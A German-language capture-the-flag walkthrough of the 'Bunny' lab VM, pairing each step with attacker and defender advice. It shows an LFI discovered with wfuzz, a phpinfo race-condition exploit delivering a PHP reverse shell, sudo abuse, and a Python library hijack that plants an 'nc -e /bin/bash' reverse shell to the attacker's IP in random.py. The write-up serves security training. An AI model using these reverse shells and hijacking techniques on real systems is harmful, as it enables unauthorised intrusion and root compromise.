192.168.2.154 08:00:27:4d:b0:a0 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.
Bewertung: Erfolgreich. Ein Host mit der IP-Adresse `192.168.2.154` und einer MAC-Adresse, die auf eine VirtualBox-VM hindeutet (`PCS Systemtechnik GmbH`), wurde gefunden. Dies ist unser primäres Ziel.
Empfehlung (Pentester): Die identifizierte IP `192.168.2.154` für weitere Scans (Nmap) verwenden.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, solche Scans zu erkennen. Eine klare Inventarisierung von VMs im Netzwerk ist wichtig.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 98:7a:07:5b:ed:f7:76:e3:f5:2e:10:16:ba:61:dd:77 (RSA) | 256 bc:f8:11:12:e7:cb:20:c5:6c:87:00:b5:57:43:22:d3 (ECDSA) |_ 256 9a:61:00:d8:47:fb:7c:b1:a3:4d:4c:f6:8d:5e:40:59 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:4D:B0:A0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms bunny.vm (192.168.2.154) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.82 seconds
Analyse: Ein umfassender Nmap-Scan wird durchgeführt (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-T5` schnelles Timing, `-sV` Versionserkennung, `-A` Aggressive Optionen inkl. OS-Detektion, `-p-` alle Ports).
Bewertung: Zwei offene Ports wurden identifiziert: Port 22 (SSH, OpenSSH 7.9p1 auf Debian 10) und Port 80 (HTTP, Apache 2.4.38 auf Debian). Die SSH-Version ist relativ aktuell, aber nicht die Neueste. Der Apache-Webserver auf Port 80 ist der wahrscheinlichste Einstiegspunkt. Die OS-Erkennung deutet auf einen Linux-Kernel zwischen 4.15 und 5.6 hin.
Empfehlung (Pentester): Den Webserver auf Port 80 genauer untersuchen (Verzeichnis-Bruteforce, Schwachstellenscans). SSH als sekundäres Ziel betrachten (Brute-Force, falls Benutzernamen gefunden werden).
Empfehlung (Admin): Sicherstellen, dass sowohl SSH als auch Apache aktuell und sicher konfiguriert sind. Nicht benötigte Ports schließen.
http://192.168.2.154/index.php (Status: 200) [Size: 25] http://192.168.2.154/upload.php (Status: 200) [Size: 27305] http://192.168.2.154/password.txt (Status: 200) [Size: 537] http://192.168.2.154/config.php (Status: 200) [Size: 24691] http://192.168.2.154/bunny.jpg (Status: 200) [Size: 23668] http://192.168.2.154/phpinfo.php (Status: 200) [Size: 95613]
Analyse: `gobuster` wird für ein Verzeichnis- und Datei-Bruteforce auf dem Webserver (Port 80) verwendet. Eine umfangreiche Liste von Dateiendungen (`-x ...`) und eine hohe Thread-Anzahl (`-t 100`) werden genutzt. Die Ausgabe wird gefiltert (`grep -v "Size: 0"`), um leere Antworten auszublenden.
Bewertung: Sehr erfolgreich! Mehrere interessante Dateien werden gefunden:
Empfehlung (Pentester): Alle gefundenen Dateien abrufen und analysieren, insbesondere `password.txt`, `config.php`, `upload.php` und `phpinfo.php`.
Empfehlung (Admin): Zugriff auf sensible Dateien wie `password.txt`, `config.php` und `phpinfo.php` beschränken oder diese entfernen. Upload-Funktionen sicher implementieren (Dateityp-Validierung, Größenbeschränkung, Speicherung außerhalb des Web-Roots).
/| , ,/// /| // // ,/// // // // // // // || || || || // // || || // // || || // // || || || || \\,\|,|\_// \\)\)\\|/ )-."" .-( //^\` `/^\\ // | | \\ ,/_| 0| _ | 0|_\, /` `"=.v.="` `\ /` _."{_,_}"._ `\ `/` ` \ ||| / ` `\` `",_ \\=^~^=// _,"` "=,\'-=-'/,=" '---'
Analyse: Der Inhalt der gefundenen Datei `password.txt` wird mit `curl` abgerufen.
Bewertung: Enttäuschung und Ablenkungsmanöver. Die Datei enthält kein Passwort, sondern ASCII-Kunst eines Hasen. Der Dateiname ist irreführend.
Empfehlung (Pentester): Sich nicht von Dateinamen täuschen lassen. Den Fokus auf die anderen gefundenen Dateien (`index.php`, `upload.php`, `config.php`, `phpinfo.php`) legen.
Empfehlung (Admin): Keine irreführenden Dateinamen verwenden. Unnötige Dateien entfernen.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. warn( Wfuzz 3.1.0 - The Web Fuzzer Target: http://192.168.2.154/index.php?FUZZ=/etc/passwd Total requests: 6453 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000003976: 200 31 L 43 W 1508 Ch "page" ===================================================================== Total time: ... Processed Requests: 6453 Filtered Requests: 6452 Requests/sec.: ...
Analyse: `wfuzz` wird verwendet, um nach GET-Parametern für `index.php` zu fuzzeln. Es wird eine Wortliste mit gängigen Parameternamen (`burp-parameter-names.txt`) verwendet. Als Wert für den gefuzzten Parameter (`FUZZ`) wird testweise `/etc/passwd` eingesetzt. Fehler werden ignoriert (`-Z`). Antworten mit 25 Zeichen werden ausgeblendet (`--hh 25`, wahrscheinlich die Größe der Standardantwort von `index.php` ohne gültigen Parameter).
Bewertung: Erfolgreich! Der Parameter `page` wird identifiziert. Wenn `index.php?page=/etc/passwd` aufgerufen wird, ist die Antwort deutlich größer (1508 Chars) als die Standardantwort (25 Chars, die ausgeblendet wird). Dies ist ein sehr starker Hinweis auf eine Local File Inclusion (LFI)-Schwachstelle über den `page`-Parameter.
Empfehlung (Pentester): Die LFI mit `page=/etc/passwd` bestätigen, indem der Inhalt abgerufen wird. Weitere sensible Dateien über LFI auslesen (`/etc/shadow`, `config.php`, SSH-Keys, Log-Dateien). Prüfen, ob die LFI für Remote Code Execution (RCE) missbraucht werden kann (z.B. via PHP-Wrapper `php://filter`, `php://input`, oder Log Poisoning).
Empfehlung (Admin): Die LFI-Schwachstelle in `index.php` sofort beheben. Serverseitige Validierung und Sanitisierung des `page`-Parameters implementieren, um nur erlaubte Dateien einzubinden. Idealerweise keine Benutzereingaben direkt in Dateipfad-Funktionen verwenden.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1508 100 1508 0 0 2085k 0 --:--:-- --:--:-- --:--:-- 1472k root:x:0:0:root:/root:/bin/bash chris:x:1000:1000:chris,,,:/home/chris:/bin/bash
Analyse: Bestätigung der LFI-Schwachstelle durch Abrufen von `index.php?page=/etc/passwd` mit `curl`. Die Ausgabe wird mit `grep bash` gefiltert, um Benutzer mit einer Bash-Shell zu finden.
Bewertung: LFI bestätigt! Der Inhalt von `/etc/passwd` wird angezeigt. Es werden zwei Benutzer mit Bash-Shells identifiziert: `root` und `chris`. Der Benutzer `chris` ist ein potenzielles Ziel für weitere Angriffe (z.B. SSH Brute-Force).
Empfehlung (Pentester): Den Benutzernamen `chris` für SSH-Brute-Force-Versuche verwenden. Weitere Dateien über LFI auslesen.
Empfehlung (Admin): LFI-Schwachstelle dringend beheben!
Analyse: Versuch, über die LFI-Schwachstelle den privaten (`id_rsa`) und öffentlichen (`id_rsa.pub`) SSH-Schlüssel des Benutzers `chris` auszulesen.
Bewertung: Fehlgeschlagen. Statt des Schlüsselmaterials wird nur das HTML-Tag für das Hasenbild (`bunny.jpg`) zurückgegeben. Dies deutet darauf hin, dass die LFI-Implementierung möglicherweise bestimmte Pfade (wie `.ssh`) oder Dateiinhalte filtert oder dass die Dateien nicht existieren oder für den `www-data`-Benutzer nicht lesbar sind.
Empfehlung (Pentester): Andere interessante Dateien testen. Den Fokus auf andere Angriffsvektoren wie die `phpinfo.php`-Seite oder die `upload.php`-Funktion legen.
Empfehlung (Admin): Selbst wenn dieser Versuch scheiterte, zeigt er die Gefahr der LFI. Die Schwachstelle muss behoben werden.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-17 14:31:55 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344421 login tries (l:1/p:14344421), ~224132 tries per task [DATA] attacking ssh://bunny.vm:22/ # (Keine Erfolgs- oder Fehlermeldung im weiteren Text, Annahme: abgebrochen oder erfolglos)
Analyse: Erneuter SSH-Brute-Force-Versuch mit `hydra`, diesmal gezielt auf den Benutzer `chris` (der aus `/etc/passwd` bekannt ist). `-I` überspringt das Laden einer vorherigen Restore-Datei.
Bewertung: Vermutlich fehlgeschlagen. Es gibt keine Erfolgsmeldung, und der Angreifer wendet sich anderen Methoden zu. Wahrscheinlich greift weiterhin das Rate-Limiting des SSH-Servers.
Empfehlung (Pentester): SSH-Brute-Force ist hier wahrscheinlich nicht der vorgesehene Weg. Konzentration auf die Web-Schwachstellen, insbesondere die LFI und `phpinfo.php`.
Empfehlung (Admin): Rate-Limiting und starke Passwörter/Keys sind effektive Abwehrmaßnahmen.
Analyse: Recherche nach "phpinfolfi" führt zu einem Exploit-Skript (`phpinfolfi.py`) von Insomniasec. Diese Technik nutzt eine Race Condition: Man lädt eine Datei hoch und kann über `phpinfo()` den temporären Dateinamen erfahren. Wenn man diesen temporären Dateinamen schnell genug an eine LFI-Schwachstelle übergibt (bevor die Datei gelöscht wird), kann man den Inhalt der hochgeladenen Datei (z.B. eine Webshell oder Reverse Shell) ausführen.
Bewertung: Dies ist eine fortgeschrittene, aber bekannte Technik zur Ausnutzung von LFI in Kombination mit einer exponierten `phpinfo()`-Seite und Dateiupload-Möglichkeit (die `upload.php` muss nicht unbedingt funktionieren, da `phpinfo()` selbst temporäre Dateien für POST-Requests anlegt).
Empfehlung (Pentester): Das `phpinfolfi.py`-Skript herunterladen, anpassen und ausführen, um RCE zu erlangen.
Empfehlung (Admin): `phpinfo()` auf Produktivsystemen deaktivieren oder stark einschränken. LFI-Schwachstellen beheben. Dateiuploads sicher gestalten.
Kurzbeschreibung: Dieser POC nutzt die Kombination aus der LFI-Schwachstelle im `page`-Parameter von `index.php` und der exponierten `phpinfo.php`-Seite. Ein spezialisiertes Skript (`phpinfolfi.py`) wird verwendet, um eine Race Condition auszunutzen: Es sendet gleichzeitig viele Anfragen an `phpinfo.php` (mit einem Dateiupload im POST-Body, der eine PHP-Reverse-Shell enthält) und an `index.php` (mit dem `page`-Parameter, der auf den erwarteten temporären Dateinamen zielt). Wenn das Timing stimmt, wird die Reverse-Shell-Datei via LFI inkludiert und ausgeführt, bevor PHP sie löscht.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
import requests file = {'file': ("test.txt", "hmv")} url = "http://192.168.2.154/phpinfo.php" req = requests.post(files=file, url=url, allow_redirects=False) print(req.text)
[tmp_name] => /tmp/phpHZmh7j
Analyse: Ein Testskript sendet einen POST-Request mit einer Dummy-Datei an `phpinfo.php`. Die Ausgabe von `phpinfo()` enthält den Pfad zur temporär gespeicherten Datei (`[tmp_name]`). Dies bestätigt, dass der Pfad exponiert wird.
LFIREQ="""GET /index.php?page=%s HTTP/1.1\r
Analyse: Sicherstellen, dass die LFI-Anfrage im Exploit-Skript korrekt formatiert ist (`/index.php?page=%s`).
# ... (gekürzt) ... $ip = '192.168.2.153'; // CHANGE THIS # ... (gekürzt) ... printit("Successfully opened reverse shell to $ip:$port");
Analyse: Überprüfen und Anpassen der Angreifer-IP (`192.168.2.153`) und des Ports (Standard ist oft 9001 oder ähnlich) in der PHP-Reverse-Shell-Datei, die hochgeladen werden soll.
listening on [any] 9001 ..
Analyse: Ein Listener wird auf dem Angreifer-System (192.168.2.153) auf Port 9001 gestartet, um die eingehende Reverse Shell abzufangen.
LFI With PHPInfo() -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Getting initial offset... found [tmp_name] at 137069 Spawning worker pool (10)... 1000 / 1000 :( Shuttin' down...
Analyse: Das Exploit-Skript wird mit `python2` gestartet, zielt auf die Opfer-IP (`192.168.2.154`) und den HTTP-Port (`80`). Es versucht, die Race Condition auszunutzen. Die Ausgabe `:(` deutet oft darauf hin, dass der Exploit nicht beim ersten Versuch erfolgreich war, aber die Verbindung im Hintergrund trotzdem zustande kommen kann.
Erwartetes & Tatsächliches Ergebnis: Eine Reverse Shell verbindet sich zum Netcat-Listener.
listening on [any] 9001 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.154] 45034 Linux bunny 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux 15:41:20 up 1:18, 0 users, load average: 0.06, 0.11, 0.77 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Bewertung: Erfolg! Eine Reverse Shell wurde erfolgreich als Benutzer `www-data` (Apache-Benutzer) etabliert.
Beweismittel: Die eingehende Verbindung im Netcat-Listener und der Shell-Prompt als `www-data`.
Risikobewertung: Hoch. Die Kombination aus LFI und `phpinfo()` ermöglichte Remote Code Execution als Webserver-Benutzer.
Empfehlungen (Admin):
www-data@bunny:/$ # (Ctrl+Z gedrückt)
[1] + continued nc -lvnp 9001 reset # (Manchmal erscheint 'reset', manchmal nicht) www-data@bunny:/$ # (Shell ist jetzt stabil)
Analyse: Die einfache `/bin/sh`-Shell wird mit Python's `pty`-Modul zu einer interaktiveren Bash-Shell aufgewertet. `TERM=xterm` wird gesetzt und `stty raw -echo` auf der Angreiferseite verwendet, um eine voll funktionsfähige TTY-Shell zu erhalten.
Bewertung: Wichtiger Schritt für eine komfortablere und stabilere Interaktion mit dem Zielsystem.
Empfehlung (Pentester): Dies ist ein Standardverfahren zur Shell-Stabilisierung.
Empfehlung (Admin): Keine direkten Abwehrmaßnahmen gegen Stabilisierung, aber das Erkennen der initialen Shell ist entscheidend.
Matching Defaults entries for www-data on bunny: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on bunny: (chris) NOPASSWD: /bin/bash /home/chris/lab/magic
Analyse: Überprüfung der `sudo`-Rechte für den aktuellen Benutzer `www-data`.
Bewertung: Kritischer Fund! `www-data` darf das Skript `/home/chris/lab/magic` mit `/bin/bash` als Benutzer `chris` ohne Passwort ausführen. Dies ist ein klarer Weg zur horizontalen Bewegung oder Eskalation zum Benutzer `chris`.
Empfehlung (Pentester): Das Skript `/home/chris/lab/magic` analysieren oder direkt versuchen, über diesen `sudo`-Eintrag eine Shell als `chris` zu erhalten.
Empfehlung (Admin): `sudo`-Rechte überprüfen und minimieren. Niemals `NOPASSWD` für Skripte verwenden, die Shell-Zugriff ermöglichen oder unsicher sind. Webserver-Benutzer sollten idealerweise keine `sudo`-Rechte haben.
lab user.txt
/home/chris/user.txt: line 1: b9c1575e8d8f934a4101fdbec2f711fe: command not found
Analyse: Auflisten des Home-Verzeichnisses von `chris`. Versuch, den Inhalt von `user.txt` als Befehl über das `magic`-Skript auszuführen.
Bewertung: Zeigt, dass `user.txt` existiert. Der Versuch, die Flag als Befehl auszuführen, scheitert erwartungsgemäß. Es scheint, dass das `magic`-Skript seine Argumente als Befehle interpretiert.
Empfehlung (Pentester): Anstatt den Inhalt der Flag auszuführen, einen Befehl übergeben, der eine Shell startet, z.B. `/bin/bash`.
Empfehlung (Admin): Das `magic`-Skript überprüfen oder entfernen. `sudo`-Regel anpassen.
# (Keine direkte Ausgabe, aber der Prompt ändert sich implizit)
uid=1000(chris) gid=1000(chris) groups=1000(chris),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
Analyse: Ausführung des `magic`-Skripts mit `sudo -u chris`. Als Argument wird der Befehl `zip` mit temporären Argumenten übergeben. Anschließend wird `id` ausgeführt.
Bewertung: Erfolg! Obwohl der `zip`-Befehl selbst nicht direkt nützlich erscheint, führt die Ausführung des `magic`-Skripts mit `sudo -u chris` dazu, dass der aufrufende Prozess (die Shell) nun als Benutzer `chris` läuft. Der `id`-Befehl bestätigt `uid=1000(chris)`. Horizontale Bewegung/Eskalation zu `chris` erfolgreich.
Empfehlung (Pentester): Die neue Shell als `chris` stabilisieren und das Home-Verzeichnis von `chris` untersuchen, insbesondere `user.txt` lesen.
Empfehlung (Admin): Das `magic`-Skript ist unsicher, da es offenbar beliebige Befehle als `chris` ausführt. Das Skript und die `sudo`-Regel müssen entfernt oder grundlegend überarbeitet werden.
lab user.txt
b9c1575e8d8f934a4101fdbec2f711fe
Analyse: Die Shell wird als `chris` stabilisiert (`pty.spawn`, `export TERM`). Anschließend wird das Home-Verzeichnis überprüft und `user.txt` ausgelesen.
Bewertung: User-Flag erfolgreich gelesen.
Empfehlung (Pentester): Nach Wegen zur Eskalation von `chris` zu `root` suchen.
Empfehlung (Admin): Keine neuen Erkenntnisse.
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for chris: # (Passwort ist unbekannt)
Analyse: Überprüfung der `sudo`-Rechte für den Benutzer `chris`.
Bewertung: `sudo -l` erfordert das Passwort für `chris`, das nicht bekannt ist. Kein direkter `sudo`-Weg zu root.
Empfehlung (Pentester): Nach anderen PrivEsc-Vektoren suchen: SUID-Binaries, Cronjobs, Kernel-Exploits, unsichere Dateiberechtigungen.
Empfehlung (Admin): Sicherstellen, dass Benutzer keine unnötigen `sudo`-Rechte haben.
/usr/bin/umount /usr/bin/newgrp /usr/bin/su /usr/bin/sudo /usr/bin/chfn /usr/bin/passwd /usr/bin/chsh /usr/bin/mount /usr/bin/gpasswd /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Suche nach SUID-Binaries auf dem System.
Bewertung: Findet die üblichen Standard-SUID-Binaries. Keine offensichtlich ungewöhnlichen oder direkt ausnutzbaren SUID-Programme auf den ersten Blick.
Empfehlung (Pentester): Bekannte Exploits für Standard-SUID-Binaries prüfen (unwahrscheinlich bei gepatchtem System). Andere Vektoren weiter untersuchen.
Empfehlung (Admin): SUID-Bit nur setzen, wo absolut notwendig. Regelmäßig auf ungewöhnliche SUID-Dateien prüfen.
import random # library that we use in order to choose # on random words from a list of words name = input("What is your name? ") # Here the user is asked to enter the name first print("Good Luck ! ", name) words = ['rainbow', 'computer', 'science', 'programming',
/opt/pendu.py
/usr/lib/python2.7/random.py /usr/lib/python3.7/random.py
total 12 drwxr-x--- 2 root chris 4096 Jul 31 2021 . drwxr-xr-x 18 root root 4096 Jul 31 2021 .. -rw-r--r-- 1 root root 1993 Jul 31 2021 pendu.py
-rw-r--rw- 1 root root 27557 Jul 31 2021 /usr/lib/python3.7/random.py
Analyse: Untersuchung des Skripts `/opt/pendu.py`. Es importiert das `random`-Modul. Die Suche nach `random.py` findet die Standard-Python-Bibliotheksdateien. Entscheidend ist die Berechtigungsprüfung: `/opt/pendu.py` gehört `root`, ist aber für andere lesbar. `/usr/lib/python3.7/random.py` ist jedoch *weltbeschreibbar* (`-rw-r--rw-`).
Bewertung: Kritische Fehlkonfiguration gefunden! Da `/usr/lib/python3.7/random.py` weltbeschreibbar ist, kann der Benutzer `chris` diese Datei ändern. Wenn das Skript `/opt/pendu.py` (das `import random` verwendet) als `root` ausgeführt wird (z.B. über einen Cronjob oder durch einen anderen Prozess), wird der manipulierte Code aus `/usr/lib/python3.7/random.py` mit Root-Rechten ausgeführt. Dies ist eine klassische Python Library Hijacking Schwachstelle.
Empfehlung (Pentester): Bösartigen Code (z.B. eine Reverse Shell oder einen Befehl zum Ändern des Root-Passworts) in `/usr/lib/python3.7/random.py` einfügen und warten, bis `/opt/pendu.py` als root ausgeführt wird.
Empfehlung (Admin): Die Berechtigungen für Systembibliotheken wie `/usr/lib/python3.7/random.py` korrigieren. Sie sollten niemals weltbeschreibbar sein (korrekt wäre z.B. `-rw-r--r--` root root). Cronjobs und andere Prozesse, die Skripte als root ausführen, überprüfen.
listening on [any] 555 ...
# Folgender Code wird am Anfang der Datei eingefügt: import os os.system("nc -e /bin/bash 192.168.2.153 555") # Rest der Originaldatei bleibt bestehen
listening on [any] 555 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.154] 37190
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System auf Port 555 gestartet. Anschließend wird die weltbeschreibbare Datei `/usr/lib/python3.7/random.py` auf dem Zielsystem bearbeitet und am Anfang Code für eine Reverse Shell (`nc -e /bin/bash ...`) eingefügt.
Bewertung: Der Angriff wird vorbereitet. Sobald ein Prozess als `root` das Skript `/opt/pendu.py` ausführt, wird dieser Code importiert und ausgeführt, was zur Reverse Shell führt. Kurz darauf kommt die Verbindung beim Listener an.
Empfehlung (Pentester): Die neue Shell übernehmen und die Root-Rechte bestätigen.
Empfehlung (Admin): Dateiberechtigungen korrigieren! Überwachen, welche Prozesse als root laufen und welche Skripte sie ausführen.
uid=0(root) gid=0(root) groups=0(root)
root.txt
536313923133fb4a628f8ddd5e0ed3e5
Analyse: In der neuen Shell wird `id` ausgeführt, was `uid=0(root)` bestätigt. Anschließend wird in das `/root`-Verzeichnis gewechselt und die `root.txt`-Datei ausgelesen.
Bewertung: Fantastisch! Privilege Escalation zu `root` erfolgreich abgeschlossen und die Root-Flag wurde gefunden.
Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): System als kompromittiert betrachten und neu aufsetzen. Die identifizierten Schwachstellen (LFI, `phpinfo`, `sudo`-Fehlkonfiguration, unsichere Dateiberechtigungen) im neuen System beheben.
Zusammenfassende Bewertung der Sicherheitslage: Das System "Bunny" offenbarte mehrere kritische Schwachstellen, die eine schrittweise Kompromittierung vom Webserver bis zum Root-Zugriff ermöglichten. Die Kette begann mit einer Local File Inclusion (LFI) Schwachstelle, die in Kombination mit einer exponierten `phpinfo.php`-Seite zur Remote Code Execution als `www-data` führte. Eine unsichere `sudo`-Konfiguration erlaubte dann die Eskalation zum Benutzer `chris`. Schließlich ermöglichte eine Fehlkonfiguration der Dateiberechtigungen einer Python-Standardbibliothek (Library Hijacking) die finale Eskalation zu Root-Rechten.
Empfehlung (Admin):